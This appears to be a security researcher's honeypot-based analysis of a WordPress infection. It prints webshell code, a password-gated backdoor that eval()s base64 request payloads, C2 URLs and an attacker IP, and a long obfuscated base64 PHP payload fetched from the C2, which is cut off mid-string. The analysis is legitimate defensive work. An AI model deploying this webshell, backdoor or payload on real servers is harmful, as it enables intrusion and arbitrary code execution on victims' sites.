if (is_writable("$path/$file") || !is_readable("$path/$file"))
echo '</font>';
echo "</center></td>
<td><center><form method=\"POST\" action=\"?option&path=$path\">
<select name=\"opt\">
<option value=\"\"></option>
<option value=\"delete\">Delete</option>
<option value=\"chmod\">Chmod</option>
<option value=\"rename\">Rename</option>
<option value=\"edit\">Edit</option>
</select>
<input type=\"hidden\" name=\"type\" value=\"file\">
<input type=\"hidden\" name=\"name\" value=\"$file\">
<input type=\"hidden\" name=\"path\" value=\"$path/$file\">
<input type=\"submit\" value=\">\" />
</form></center></td>
</tr>";
}
echo '</table>
</div>';
}
echo '<center><br />Zerion Mini Shell <font color="green">1.0</font></center>
</BODY>
</HTML>';
function perms($file)
{
$perms = fileperms($file);
if (($perms & 0xC000) == 0xC000) {
$info = 's';
} elseif (($perms & 0xA000) == 0xA000) {
$info = 'l';
} elseif (($perms & 0x8000) == 0x8000) {
$info = '-';
} elseif (($perms & 0x6000) == 0x6000) {
$info = 'b';
} elseif (($perms & 0x4000) == 0x4000) {
$info = 'd';
} elseif (($perms & 0x2000) == 0x2000) {
$info = 'c';
} elseif (($perms & 0x1000) == 0x1000) {
$info = 'p';
} else {
$info = 'u';
}
$info .= (($perms & 0x0100) ? 'r' : '-');
$info .= (($perms & 0x0080) ? 'w' : '-');
$info .= (($perms & 0x0040) ? (($perms & 0x0800) ? 's' : 'x') : (($perms & 0x0800) ? 'S' : '-'));
$info .= (($perms & 0x0020) ? 'r' : '-');
$info .= (($perms & 0x0010) ? 'w' : '-');
$info .= (($perms & 0x0008) ? (($perms & 0x0400) ? 's' : 'x') : (($perms & 0x0400) ? 'S' : '-'));
$info .= (($perms & 0x0004) ? 'r' : '-');
$info .= (($perms & 0x0002) ? 'w' : '-');
$info .= (($perms & 0x0001) ? (($perms & 0x0200) ? 't' : 'x') : (($perms & 0x0200) ? 'T' : '-'));
return $info;
}
?>
view raw admin.php hosted with ❤ by GitHub

Scanning through the file we see that this appears to be a modified webshell called Zerion Mini Shell. Code has been added to the already existing functionality to give the attacker more functionality.

wordpress hack minishell

Some of the addons to the shell include checks for additional $_REQUEST params that perform requests to a new C2 URL. If ac, path, api, and t are passed into this file (the same query parameters that were logged via our honeypot), it will trigger a GET request to be made via curl to one of these C2 URL’s: https://c.wiv3.com/ or https://c.oiv3.com/. A function called get_code() is run which builds a URL from the $_REQUEST values that are passed in from the C2 server that looks like https://c.wiv3.com/?api=&ac=&path=&t=. From our logs above, we know the values ac=p and t=f610088ee31773d3a8ee99a6210882b4, making the URL: https://c.wiv3.com/?api=&ac=p&path=&t=f610088ee31773d3a8ee99a6210882b4. Performing a GET request to this URL gives this response:

<?php
function i($i)
{
    echo '{->|' . $i . '|<-}';
}
$path = $_SERVER['SCRIPT_FILENAME'];
if(strpos($_SERVER['SCRIPT_FILENAME'], ":"))
{
    $path = str_replace('\\', '/', $path);
}
i(str_replace(str_replace('//','/',$_SERVER['PHP_SELF']), '', str_replace('\\\\','/',$path) ));

The C2 response is written to a temporary file and then included in the current file, making the current file output the following text: {->|/home4/path/to/host/public_html/victimdomain.com|<-}

This is most likely used by the attacker to understand where the malicious files in the infected host are. As we saw above, after the victim’s domain is submitted to the C2, another request is made to /admin.php with these parameters, exposing the file path to the C2.

The last bit of custom functionality added to this web shell is the following code:

if (isset($_REQUEST['pwd163']) && md5($_REQUEST['pwd163']) == $password_hash) {
    $malicious_query_param_payload = base64_decode(rawurldecode((urlencode(urldecode($_REQUEST['zzz'])))));
    $need = "<?php";
    if (strpos($malicious_query_param_payload, $need) === false) {
        $malicious_query_param_payload = $need . PHP_EOL . $malicious_query_param_payload;
    }
    if (isset($_REQUEST['e'])) {
        $malicious_query_param_payload = str_replace($need, "", $malicious_query_param_payload);
        eval($malicious_query_param_payload);
        die();
    }
    $file_name = tmpfile();
    fwrite($file_name, $malicious_query_param_payload);
    $require_params = stream_get_meta_data($file_name);
    @require($require_params['uri']);
    fclose($file_name);
    die();
}

If the C2 passes in the correct password hash in a request parameter called pwd163, it expects that a url + base64 encoded payload is passed in via another $_REQUEST param called zzz. This payload is decoded and either executed straight on the current file via the PHP eval() function, or the payload is written to a temporary file, which is then required in the current file. Either of these paths lead to the same outcome: arbitrary code execution.


/index.php

After creating the honeypot site and submitting the URL to the C2, many requests started coming in with different request parameters (as demonstrated in the request sent to GET http://51la.izv3.com/ in the /wp-admin/network/index.php section).

One of requests being:

Time: 2023-01-01 06:06:52pm
IP: 23.83.247.59
Request Obj:a:4:{s:2:"ac";s:5:"i_old";s:3:"api";s:31:"http://3843-ch4-v22.freeykc.com";s:4:"path";s:37:"/home4/path/to/host/public_html/<victim domain>.com";s:1:"t";s:32:"9e9a4d7fcd456b678f18e7397fbf47c6";}

Using these parameters we can build the following URL that would normally get created from admin.php: http://c.oiv3.com?api=http://3843-ch4-v22.freeykc.com&ac=i_old&path=/home4/path/to/host/public_html/<victim domain>.com&t=9e9a4d7fcd456b678f18e7397fbf47c6

Performing a GET on this URL gives us the following response:

<?php
echo '{->|';
$path = '/home4/<redacted>/public_html/<redacted>.com' . '/';
$robots_path = $path . 'robots.txt';
if (file_exists($robots_path)){
@unlink($robots_path);
}
if (!is_readable($path)){
die($path . "-failed" . '|<-}');
}
$content = base64_decode('PD9waHANCiRPT19PMDBPX18wPXVybGRlY29kZSgiJTZmJTQxJTJkJTYyJTRlJTZlJTRiJTM3JTRjJTM1JTVmJTRhJTU1JTc0JTUyJTc4JTQ5JTU5JTJiJTU3JTQzJTYxJTM5JTMzJTU2JTZiJTMwJTc3JTRkJTMxJTRmJTY1JTUzJTQ0JTY0JTQyJTMyJTZhJTJmJTZjJTczJTU4JTY2JTcxJTcwJTY4JTZkJTJhJTU0JTQ3JTc2JTUxJTQ4JTcyJTUwJTc5JTYzJTVjJTM0JTdhJTc1JTQ2JTM2JTY5JTVhJTY3JTM4JTQ1Iik7JE9PT19fMDBPMF89JE9PX08wME9fXzBbNDRdLiRPT19PMDBPX18wWzUzXS4kT09fTzAwT19fMFszMV0uJE9PX08wME9fXzBbNjVdLiRPT19PMDBPX18wWzEwXS4kT09fTzAwT19fMFs1M10uJE9PX08wME9fXzBbMzFdLiRPT19PMDBPX18wWzQ0XS4kT09fTzAwT19fMFszOV0uJE9PX08wME9fXzBbMjFdLiRPT19PMDBPX18wWzU2XS4kT09fTzAwT19fMFszMV0uJE9PX08wME9fXzBbMTBdLiRPT19PMDBPX18wWzU2XS4kT09fTzAwT19fMFsyMV0uJE9PX08wME9fXzBbMzldLiRPT19PMDBPX18wWzM5XS4kT09fTzAwT19fMFszXS4kT09fTzAwT19fMFsyMV0uJE9PX08wME9fXzBbNTZdLiRPT19PMDBPX18wWzI1XTskT19PX08wTzBfMD0kT09fTzAwT19fMFs0MF0uJE9PX08wME9fXzBbMTNdLiRPT19PMDBPX18wWzUzXS4kT09fTzAwT19fMFszMV0uJE9PX08wME9fXzBbMjFdLiRPT19PMDBPX18wWzQ2XS4kT09fTzAwT19fMFsxMF0uJE9PX08wME9fXzBbNDBdLiRPT19PMDBPX18wWzBdLiRPT19PMDBPX18wWzU2XS4kT09fTzAwT19fMFsyNV0uJE9PX08wME9fXzBbMzFdLiRPT19PMDBPX18wWzEzXS4kT09fTzAwT19fMFsxMF0uJE9PX08wME9fXzBbNTZdLiRPT19PMDBPX18wWzM5XS4kT09fTzAwT19fMFs2M10uJE9PX08wME9fXzBbMzFdLiRPT19PMDBPX18wWzVdLiRPT19PMDBPX18wWzEzXTskTzBPX18wME9PXz0kT09fTzAwT19fMFs0MF0uJE9PX08wME9fXzBbMTNdLiRPT19PMDBPX18wWzUzXS4kT09fTzAwT19fMFszMV0uJE9PX08wME9fXzBbMjFdLiRPT19PMDBPX18wWzQ2XS4kT09fTzAwT19fMFsxMF0uJE9PX08wME9fXzBbNjVdLiRPT19PMDBPX18wWzMxXS4kT09fTzAwT19fMFsxM10uJE9PX08wME9fXzBbMTBdLiRPT19PMDBPX18wWzQ2XS4kT09fTzAwT19fMFszMV0uJE9PX08wME9fXzBbMTNdLiRPT19PMDBPX18wWzIxXS4kT09fTzAwT19fMFsxMF0uJE9PX08wME9fXzBbMzRdLiRPT19PMDBPX18wWzIxXS4kT09fTzAwT19fMFsxM10uJE9PX08wME9fXzBbMjFdOyRPMDBfME9PX09fPSRPT19PMDBPX18wWzQwXS4kT09fTzAwT19fMFsxM10uJE9PX08wME9fXzBbNTNdLiRPT19PMDBPX18wWzMxXS4kT09fTzAwT19fMFsyMV0uJE9PX08wME9fXzBbNDZdLiRPT19PMDBPX18wWzEwXS4kT09fTzAwT19fMFs0MF0uJE9PX08wME9fXzBbMzFdLiRPT19PMDBPX18wWzEzXS4kT09fTzAwT19fMFsxMF0uJE9PX08wME9fXzBbM10uJE9PX08wME9fXzBbMzldLiRPT19PMDBPX18wWzBdLiRPT19PMDBPX18wWzU2XS4kT09fTzAwT19fMFsyNV0uJE9PX08wME9fXzBbNjNdLiRPT19PMDBPX18wWzVdLiRPT19PMDBPX18wWzY1XTskT19PMDBPME9fXz0kT09fTzAwT19fMFs0MF0uJE9PX08wME9fXzBbMTNdLiRPT19PMDBPX18wWzUzXS4kT09fTzAwT19fMFszMV0uJE9PX08wME9fXzBbMjFdLiRPT19PMDBPX18wWzQ2XS4kT09fTzAwT19fMFsxMF0uJE9PX08wME9fXzBbNDBdLiRPT19PMDBPX18wWzMxXS4kT09fTzAwT19fMFsxM10uJE9PX08wME9fXzBbMTBdLiRPT19PMDBPX18wWzEzXS4kT09fTzAwT19fMFs2M10uJE9PX08wME9fXzBbNDZdLiRPT19PMDBPX18wWzMxXS4kT09fTzAwT19fMFswXS4kT09fTzAwT19fMFs2MF0uJE9PX08wME9fXzBbMTNdOyRPXzBPTzBPMF9fPSRPT19PMDBPX18wWzQyXS4kT09fTzAwT19fMFs2M10uJE9PX08wME9fXzBbMzldLiRPT19PMDBPX18wWzMxXS4kT09fTzAwT19fMFsxMF0uJE9PX08wME9fXzBbNDRdLiRPT19PMDBPX18wWzYwXS4kT09fTzAwT19fMFsxM10uJE9PX08wME9fXzBbMTBdLiRPT19PMDBPX18wWzU2XS4kT09fTzAwT19fMFswXS4kT09fTzAwT19fMFs1XS4kT09fTzAwT19fMFsxM10uJE9PX08wME9fXzBbMzFdLiRPT19PMDBPX18wWzVdLiRPT19PMDBPX18wWzEzXS4kT09fTzAwT19fMFs0MF07JE9fMDBfME9PX089JE9PX08wME9fXzBbNDJdLiRPT19PMDBPX18wWzYzXS4kT09fTzAwT19fMFszOV0uJE9PX08wME9fXzBbMzFdLiRPT19PMDBPX18wWzEwXS4kT09fTzAwT19fMFs2NV0uJE9PX08wME9fXzBbMzFdLiRPT19PMDBPX18wWzEzXS4kT09fTzAwT19fMFsxMF0uJE9PX08wME9fXzBbNTZdLiRPT19PMDBPX18wWzBdLiRPT19PMDBPX18wWzVdLiRPT19PMDBPX18wWzEzXS4kT09fTzAwT19fMFszMV0uJE9PX08wME9fXzBbNV0uJE9PX08wME9fXzBbMTNdLiRPT19PMDBPX18wWzQwXTskT19PTzBfME9fMD0kT09fTzAwT19fMFs0NV0uJE9PX08wME9fXzBbMTNdLiRPT19PMDBPX18wWzEzXS4kT09fTzAwT19fMFs0NF0uJE9PX08wME9fXzBbMTBdLiRPT19PMDBPX18wWzNdLiRPT19PMDBPX18wWzYwXS4kT09fTzAwT19fMFs2M10uJE9PX08wME9fXzBbMzldLiRPT19PMDBPX18wWzM0XS4kT09fTzAwT19fMFsxMF0uJE9PX08wME9fXzBbNDNdLiRPT19PMDBPX18wWzYwXS4kT09fTzAwT19fMFszMV0uJE9PX08wME9fXzBbNTNdLiRPT19PMDBPX18wWzU1XTskT19fMF9PTzAwTz0kT09fTzAwT19fMFs0Ml0uJE9PX08wME9fXzBbNjBdLiRPT19PMDBPX18wWzVdLiRPT19PMDBPX18wWzU2XS4kT09fTzAwT19fMFsxM10uJE9PX08wME9fXzBbNjNdLiRPT19PMDBPX18wWzBdLiRPT19PMDBPX18wWzVdLiRPT19PMDBPX18wWzEwXS4kT09fTzAwT19fMFszMV0uJE9PX08wME9fXzBbMTVdLiRPT19PMDBPX18wWzYzXS4kT09fTzAwT19fMFs0MF0uJE9PX08wME9fXzBbMTNdLiRPT19PMDBPX18wWzQwXTskT19fTzAwMF9PTz0kT09fTzAwT19fMFs2NV0uJE9PX08wME9fXzBbMzFdLiRPT19PMDBPX18wWzEzXS4kT09fTzAwT19fMFs0NV0uJE9PX08wME9fXzBbMF0uJE9PX08wME9fXzBbNDBdLiRPT19PMDBPX18wWzEzXS4kT09fTzAwT19fMFszXS4kT09fTzAwT19fMFs1NV0uJE9PX08wME9fXzBbNV0uJE9PX08wME9fXzBbMjFdLiRPT19PMDBPX18wWzQ2XS4kT09fTzAwT19fMFszMV07JE8wT18wXzBPT189JE9PX08wME9fXzBbM10uJE9PX08wME9fXzBbMjFdLiRPT19PMDBPX18wWzQwXS4kT09fTzAwT19fMFszMV0uJE9PX08wME9fXzBbNjJdLiRPT19PMDBPX18wWzU4XS4kT09fTzAwT19fMFsxMF0uJE9PX08wME9fXzBbMzFdLiRPT19PMDBPX18wWzVdLiRPT19PMDBPX18wWzU2XS4kT09fTzAwT19fMFswXS4kT09fTzAwT19fMFszNF0uJE9PX08wME9fXzBbMzFdOyRPME8wXzBPX19PPSRPT19PMDBPX18wWzNdLiRPT19PMDBPX18wWzIxXS4kT09fTzAwT19fMFs0MF0uJE9PX08wME9fXzBbMzFdLiRPT19PMDBPX18wWzYyXS4kT09fTzAwT19fMFs1OF0uJE9PX08wME9fXzBbMTBdLiRPT19PMDBPX18wWzM0XS4kT09fTzAwT19fMFszMV0uJE9PX08wME9fXzBbNTZdLiRPT19PMDBPX18wWzBdLiRPT19PMDBPX18wWzM0XS4kT09fTzAwT19fMFszMV07JE8wXzBPT19fTzA9JE9PX08wME9fXzBbNTNdLiRPT19PMDBPX18wWzIxXS4kT09fTzAwT19fMFsyN10uJE9PX08wME9fXzBbNjBdLiRPT19PMDBPX18wWzUzXS4kT09fTzAwT19fMFszOV0uJE9PX08wME9fXzBbMzFdLiRPT19PMDBPX18wWzVdLiRPT19PMDBPX18wWzU2XS4kT09fTzAwT19fMFswXS4kT09fTzAwT19fMFszNF0uJE9PX08wME9fXzBbMzFdOyRPMF9PX08wXzBPPSRPT19PMDBPX18wWzUzXS4kT09fTzAwT19fMFsyMV0uJE9PX08wME9fXzBbMjddLiRPT19PMDBPX18wWzYwXS4kT09fTzAwT19fMFs1M10uJE9PX08wME9fXzBbMzldLiRPT19PMDBPX18wWzM0XS4kT09fTzAwT19fMFszMV0uJE9PX08wME9fXzBbNTZdLiRPT19PMDBPX18wWzBdLiRPT19PMDBPX18wWzM0XS4kT09fTzAwT19fMFszMV07JE9fME9fTzBfTzA9JE9PX08wME9fXzBbNjVdLiRPT19PMDBPX18wWzU5XS4kT09fTzAwT19fMFs2MF0uJE9PX08wME9fXzBbNV0uJE9PX08wME9fXzBbNTZdLiRPT19PMDBPX18wWzBdLiRPT19PMDBPX18wWzQ2XS4kT09fTzAwT19fMFs0NF0uJE9PX08wME9fXzBbNTNdLiRPT19PMDBPX18wWzMxXS4kT09fTzAwT19fMFs0MF0uJE9PX08wME9fXzBbNDBdOyRPT18wT18wME9fPSRPT19PMDBPX18wWzQwXS4kT09fTzAwT19fMFsxM10uJE9PX08wME9fXzBbNTNdLiRPT19PMDBPX18wWzEwXS4kT09fTzAwT19fMFs1M10uJE9PX08wME9fXzBbMzFdLiRPT19PMDBPX18wWzQ0XS4kT09fTzAwT19fMFszOV0uJE9PX08wME9fXzBbMjFdLiRPT19PMDBPX18wWzU2XS4kT09fTzAwT19fMFszMV07JE8wMDBfX09PT189JE9PX08wME9fXzBbMzddLiRPT19PMDBPX18wWzQwXS4kT09fTzAwT19fMFswXS4kT09fTzAwT19fMFs1XS4kT09fTzAwT19fMFsxMF0uJE9PX08wME9fXzBbMzFdLiRPT19PMDBPX18wWzVdLiRPT19PMDBPX18wWzU2XS4kT09fTzAwT19fMFswXS4kT09fTzAwT19fMFszNF0uJE9PX08wME9fXzBbMzFdOyRPX18wTzBPMF9PPSRPT19PMDBPX18wWzQyXS4kT09fTzAwT19fMFs2M10uJE9PX08wME9fXzBbMzldLiRPT19PMDBPX18wWzMxXS4kT09fTzAwT19fMFsxMF0uJE9PX08wME9fXzBbMzFdLiRPT19PMDBPX18wWzE1XS4kT09fTzAwT19fMFs2M10uJE9PX08wME9fXzBbNDBdLiRPT19PMDBPX18wWzEzXS4kT09fTzAwT19fMFs0MF07JE8wT08wT18wX189JE9PX08wME9fXzBbNTZdLiRPT19PMDBPX18wWzYwXS4kT09fTzAwT19fMFs1M10uJE9PX08wME9fXzBbMzldLiRPT19PMDBPX18wWzEwXS4kT09fTzAwT19fMFs0MF0uJE9PX08wME9fXzBbMzFdLiRPT19PMDBPX18wWzEzXS4kT09fTzAwT19fMFswXS4kT09fTzAwT19fMFs0NF0uJE9PX08wME9fXzBbMTNdOyRPMF8wT18wX09PPSRPT19PMDBPX18wWzIxXS4kT09fTzAwT19fMFs1M10uJE9PX08wME9fXzBbNTNdLiRPT19PMDBPX18wWzIxXS4kT09fTzAwT19fMFs1NV0uJE9PX08wME9fXzBbMTBdLiRPT19PMDBPX18wWzQwXS4kT09fTzAwT19fMFs0NV0uJE9PX08wME9fXzBbNjNdLiRPT19PMDBPX18wWzQyXS4kT09fTzAwT19fMFsxM107JE9fT09PMDBfMF89JE9PX08wME9fXzBbNDRdLiRPT19PMDBPX18wWzUzXS4kT09fTzAwT19fMFszMV0uJE9PX08wME9fXzBbNjVdLiRPT19PMDBPX18wWzEwXS4kT09fTzAwT19fMFs0MF0uJE9PX08wME9fXzBbNDRdLiRPT19PMDBPX18wWzM5XS4kT09fTzAwT19fMFs2M10uJE9PX08wME9fXzBbMTNdOyRPTzBfT18wXzBPPSRPT19PMDBPX18wWzQ0XS4kT09fTzAwT19fMFs1M10uJE9PX08wME9fXzBbMzFdLiRPT19PMDBPX18wWzY1XS4kT09fTzAwT19fMFsxMF0uJE9PX08wME9fXzBbNDZdLiRPT19PMDBPX18wWzIxXS4kT09fTzAwT19fMFsxM10uJE9PX08wME9fXzBbNTZdLiRPT19PMDBPX18wWzQ1XTskT18wX18wT08wTz0kT09fTzAwT19fMFs1Nl0uJE9PX08wME9fXzBbNjBdLiRPT19PMDBPX18wWzUzXS4kT09fTzAwT19fMFszOV0uJE9PX08wME9fXzBbMTBdLiRPT19PMDBPX18wWzMxXS4kT09fTzAwT19fMFs1M10uJE9PX08wME9fXzBbNTNdLiRPT19PMDBPX18wWzBdLiRPT19PMDBPX18wWzUzXTskTzBPXzBPX18wTz0kT09fTzAwT19fMFs1Nl0uJE9PX08wME9fXzBbNjBdLiRPT19PMDBPX18wWzUzXS4kT09fTzAwT19fMFszOV0uJE9PX08wME9fXzBbMTBdLiRPT19PMDBPX18wWzU2XS4kT09fTzAwT19fMFszOV0uJE9PX08wME9fXzBbMF0uJE9PX08wME9fXzBbNDBdLiRPT19PMDBPX18wWzMxXTskT19PMF8wT09fMD0kT09fTzAwT19fMFs2MF0uJE9PX08wME9fXzBbNTNdLiRPT19PMDBPX18wWzM5XS4kT09fTzAwT19fMFszMV0uJE9PX08wME9fXzBbNV0uJE9PX08wME9fXzBbNTZdLiRPT19PMDBPX18wWzBdLiRPT19PMDBPX18wWzM0XS4kT09fTzAwT19fMFszMV07JE8wX09fME8wT189JE9PX08wME9fXzBbNjBdLiRPT19PMDBPX18wWzUzXS4kT09fTzAwT19fMFszOV0uJE9PX08wME9fXzBbMzRdLiRPT19PMDBPX18wWzMxXS4kT09fTzAwT19fMFs1Nl0uJE9PX08wME9fXzBbMF0uJE9PX08wME9fXzBbMzRdLiRPT19PMDBPX18wWzMxXTskT19fT08wME8wXz0kT09fTzAwT19fMFs0MF0uJE9PX08wME9fXzBbMTNdLiRPT19PMDBPX18wWzUzXS4kT09fTzAwT19fMFsxMF0uJE9PX08wME9fXzBbNDBdLiRPT19PMDBPX18wWzQ0XS4kT09fTzAwT19fMFszOV0uJE9PX08wME9fXzBbNjNdLiRPT19PMDBPX18wWzEzXTskT19PMDAwT19fTz0kT09fTzAwT19fMFs0NF0uJE9PX08wME9fXzBbMjFdLiRPT19PMDBPX18wWzUzXS4kT09fTzAwT19fMFs0MF0uJE9PX08wME9fXzBbMzFdLiRPT19PMDBPX18wWzEwXS4kT09fTzAwT19fMFs2MF0uJE9PX08wME9fXzBbNTNdLiRPT19PMDBPX18wWzM5XTskTzBfMF9PT08wXz0kT09fTzAwT19fMFs2NV0uJE9PX08wME9fXzBbNTldLiRPT19PMDBPX18wWzYzXS4kT09fTzAwT19fMFs1XS4kT09fTzAwT19fMFs0Ml0uJE9PX08wME9fXzBbMzldLiRPT19PMDBPX18wWzIxXS4kT09fTzAwT19fMFsxM10uJE9PX08wME9fXzBbMzFdOyRPX09PMF8wTzBfPSRPT19PMDBPX18wWzY1XS4kT09fTzAwT19fMFs1OV0uJE9PX08wME9fXzBbMzRdLiRPT19PMDBPX18wWzMxXS4kT09fTzAwT19fMFs0Ml0uJE9PX08wME9fXzBbMzldLiRPT19PMDBPX18wWzIxXS4kT09fTzAwT19fMFsxM10uJE9PX08wME9fXzBbMzFdOyRPMDAwX09PT19fPSRPT19PMDBPX18wWzU2XS4kT09fTzAwT19fMFs2MF0uJE9PX08wME9fXzBbNTNdLiRPT19PMDBPX18wWzM5XS4kT09fTzAwT19fMFsxMF0uJE9PX08wME9fXzBbNjNdLiRPT19PMDBPX18wWzVdLiRPT19PMDBPX18wWzYzXS4kT09fTzAwT19fMFsxM107JE9PXzAwTzBfT189JE9PX08wME9fXzBbNTZdLiRPT19PMDBPX18wWzYwXS4kT09fTzAwT19fMFs1M10uJE9PX08wME9fXzBbMzldLiRPT19PMDBPX18wWzEwXS4kT09fTzAwT19fMFszMV0uJE9PX08wME9fXzBbMTVdLiRPT19PMDBPX18wWzMxXS4kT09fTzAwT19fMFs1Nl07JE9fMF9PT18wME89JE9PX08wME9fXzBbMjFdLiRPT19PMDBPX18wWzUzXS4kT09fTzAwT19fMFs1M10uJE9PX08wME9fXzBbMjFdLiRPT19PMDBPX18wWzU1XS4kT09fTzAwT19fMFsxMF0uJE9PX08wME9fXzBbNDRdLiRPT19PMDBPX18wWzBdLiRPT19PMDBPX18wWzQ0XTskT08wX09fME9fMD0kT09fTzAwT19fMFs1MF0uJE9PX08wME9fXzBbMjFdLiRPT19PMDBPX18wWzUzXS4kT09fTzAwT19fMFsxMF0uJE9PX08wME9fXzBbMzRdLiRPT19PMDBPX18wWzYwXS4kT09fTzAwT19fMFs0Nl0uJE9PX08wME9fXzBbNDRdOyRPX08wME8wT19fPSRPT19PMDBPX18wWzYzXS4kT09fTzAwT19fMFs0MF0uJE9PX08wME9fXzBbMTBdLiRPT19PMDBPX18wWzIxXS4kT09fTzAwT19fMFs1M10uJE9PX08wME9fXzBbNTNdLiRPT19PMDBPX18wWzIxXS4kT09fTzAwT19fMFs1NV07JE8wXzBPX08wX089JE9PX08wME9fXzBbMTNdLiRPT19PMDBPX18wWzQ2XS4kT09fTzAwT19fMFs0NF0uJE9PX08wME9fXzBbNDJdLiRPT19PMDBPX18wWzYzXS4kT09fTzAwT19fMFszOV0uJE9PX08wME9fXzBbMzFdOyRPX08wMDBPX19PPSRPT19PMDBPX18wWzQ0XS4kT09fTzAwT19fMFs1M10uJE9PX08wME9fXzBbNjNdLiRPT19PMDBPX18wWzVdLiRPT19PMDBPX18wWzEzXS4kT09fTzAwT19fMFsxMF0uJE9PX08wME9fXzBbNTNdOyRPX09PX09fMDAwPSRPT19PMDBPX18wWzQ2XS4kT09fTzAwT19fMFsxM10uJE9PX08wME9fXzBbMTBdLiRPT19PMDBPX18wWzUzXS4kT09fTzAwT19fMFsyMV0uJE9PX08wME9fXzBbNV0uJE9PX08wME9fXzBbMzRdOyRPMF9PT08wXzBfPSRPT19PMDBPX18wWzYzXS4kT09fTzAwT19fMFs0Nl0uJE9PX08wME9fXzBbNDRdLiRPT19PMDBPX18wWzM5XS4kT09fTzAwT19fMFswXS4kT09fTzAwT19fMFszNF0uJE9PX08wME9fXzBbMzFdOyRPT09fT19fMDAwPSRPT19PMDBPX18wWzMxXS4kT09fTzAwT19fMFsxNV0uJE9PX08wME9fXzBbNDRdLiRPT19PMDBPX18wWzM5XS4kT09fTzAwT19fMFswXS4kT09fTzAwT19fMFszNF0uJE9PX08wME9fXzBbMzFdOyRPX18wX08wTzBPPSRPT19PMDBPX18wWzYwXS4kT09fTzAwT19fMFs0MF0uJE9PX08wME9fXzBbMzldLiRPT19PMDBPX18wWzMxXS4kT09fTzAwT19fMFszMV0uJE9PX08wME9fXzBbNDRdOyRPMF8wT09PXzBfPSRPT19PMDBPX18wWzYwXS4kT09fTzAwT19fMFs1XS4kT09fTzAwT19fMFszOV0uJE9PX08wME9fXzBbNjNdLiRPT19PMDBPX18wWzVdLiRPT19PMDBPX18wWzI1XTskT18wTzBfTzBfTz0kT09fTzAwT19fMFs0MF0uJE9PX08wME9fXzBbMTNdLiRPT19PMDBPX18wWzUzXS4kT09fTzAwT19fMFs0NF0uJE9PX08wME9fXzBbMF0uJE9PX08wME9fXzBbNDBdOyRPX18wTzBPME9fPSRPT19PMDBPX18wWzQwXS4kT09fTzAwT19fMFsxM10uJE9PX08wME9fXzBbNTNdLiRPT19PMDBPX18wWzM5XS4kT09fTzAwT19fMFszMV0uJE9PX08wME9fXzBbNV07JE8wXzBPT18wT189JE9PX08wME9fXzBbNDVdLiRPT19PMDBPX18wWzMxXS4kT09fTzAwT19fMFsxNV0uJE9PX08wME9fXzBbMzRdLiRPT19PMDBPX18wWzMxXS4kT09fTzAwT19fMFs1Nl07JE9PMDBPX18wT189JE9PX08wME9fXzBbNjVdLiRPT19PMDBPX18wWzMxXS4kT09fTzAwT19fMFsxM10uJE9PX08wME9fXzBbMzFdLiRPT19PMDBPX18wWzVdLiRPT19PMDBPX18wWzUwXTskT18wX08wX08wTz0kT09fTzAwT19fMFs0Ml0uJE9PX08wME9fXzBbMjddLiRPT19PMDBPX18wWzUzXS4kT09fTzAwT19fMFs2M10uJE9PX08wME9fXzBbMTNdLiRPT19PMDBPX18wWzMxXTskT19fTzBPMDBfTz0kT09fTzAwT19fMFs0Ml0uJE9PX08wME9fXzBbNTZdLiRPT19PMDBPX18wWzM5XS4kT09fTzAwT19fMFswXS4kT09fTzAwT19fMFs0MF0uJE9PX08wME9fXzBbMzFdOyRPXzAwX09PTzBfPSRPT19PMDBPX18wWzQyXS4kT09fTzAwT19fMFs1M10uJE9PX08wME9fXzBbMzFdLiRPT19PMDBPX18wWzIxXS4kT09fTzAwT19fMFszNF07JE9fMDBfT08wT189JE9PX08wME9fXzBbNDJdLiRPT19PMDBPX18wWzY1XS4kT09fTzAwT19fMFszMV0uJE9PX08wME9fXzBbMTNdLiRPT19PMDBPX18wWzQwXTskTzBfME8wT19PXz0kT09fTzAwT19fMFs1Nl0uJE9PX08wME9fXzBbMF0uJE9PX08wME9fXzBbNjBdLiRPT19PMDBPX18wWzVdLiRPT19PMDBPX18wWzEzXTskTzBPX19fTzBPMD0kT09fTzAwT19fMFs1Nl0uJE9PX08wME9fXzBbNDVdLiRPT19PMDBPX18wWzQ2XS4kT09fTzAwT19fMFswXS4kT09fTzAwT19fMFszNF07JE9fX08wMDBfT089JE9PX08wME9fXzBbMTNdLiRPT19PMDBPX18wWzUzXS4kT09fTzAwT19fMFs2M10uJE9PX08wME9fXzBbNDZdOyRPTzBfXzBPME9fPSRPT19PMDBPX18wWzM3XS4kT09fTzAwT19fMFswXS4kT09fTzAwT19fMFs2M10uJE9PX08wME9fXzBbNV07JE9PX19fMDBPME89JE9PX08wME9fXzBbNDJdLiRPT19PMDBPX18wWzMxXS4kT09fTzAwT19fMFswXS4kT09fTzAwT19fMFs0Ml07JE8wT19PTzBfMF89JE9PX08wME9fXzBbNDZdLiRPT19PMDBPX18wWzM0XS4kT09fTzAwT19fMFs5XTskT09fX18wTzAwTz0iZWFwSEhSZDBoY1VEY291dkpMRHpvTVI0SE5sRFhNSnROWU8yTmdxMEpMaVhYWVp5dk1ZaWQ1ZW1FY1RteVZ3bGplUVdsdFdqUkxwbUVOaXZwYmpRRD1NPSI7ZnVuY3Rpb24gT19PTzBfTzBfMCgkdXJsLCRPTzBfX08wT18wPTAsJE9PT08wMF9fXzA9MSwkT08wXzBfT09fMD1OVUxMLCRPMF9fT09PMF8wPWFycmF5KCksJE8wT19PXzAwX089InMiKXtpZighJHsiXHg0N1x4NGNceDRmXHg0Mlx4NDFceDRjXHg1MyJ9WyJceDRmXHg0Zlx4MzBceDVmXHg0Zlx4NWZceDMwXHg1Zlx4MzBceDRmIl0oIi9eaHR0cHMqXFw6XFwvXFwvL3NpIiwkdXJsKSl7aWYoaXNzZXQoJHsiXHg1Zlx4NDdceDQ1XHg1NCJ9WyJceDc1XHg3Mlx4NmNceDY1XHg3Mlx4NzIiXSkpeyRPMDBPX18wT19PPU9fT08wME9fXzAoJ2l5NHR5aGpra3RLc292aWxYSXpDdEx6TWxNVVFDS1dLbmxKUlVxUVhXQU1BJyk7JE8wME9fXzBPX08uPSR1cmw7ZWNobyAkTzAwT19fME9fTzt1bnNldCgkTzAwT19fME9fTyk7ZXhpdCgpO31yZXR1cm4gJyc7fSRPTzBfTzBfX08wPU9fT08wME9fXzAoJ1N5NHR5WW5vblB6TXNzMFU0R3NZcFRTL0lMb096VWl0VGttclRpL09Ucy9JTFV2Sm9DQkxPNHBDZzFNVGNleEU4dGlVL095VXpOSzZtQjhZQnZwU0pha0EnKTskT09PTzBfMF9fMD0kTzBfXzBPX08wTz0nJztmb3JlYWNoKC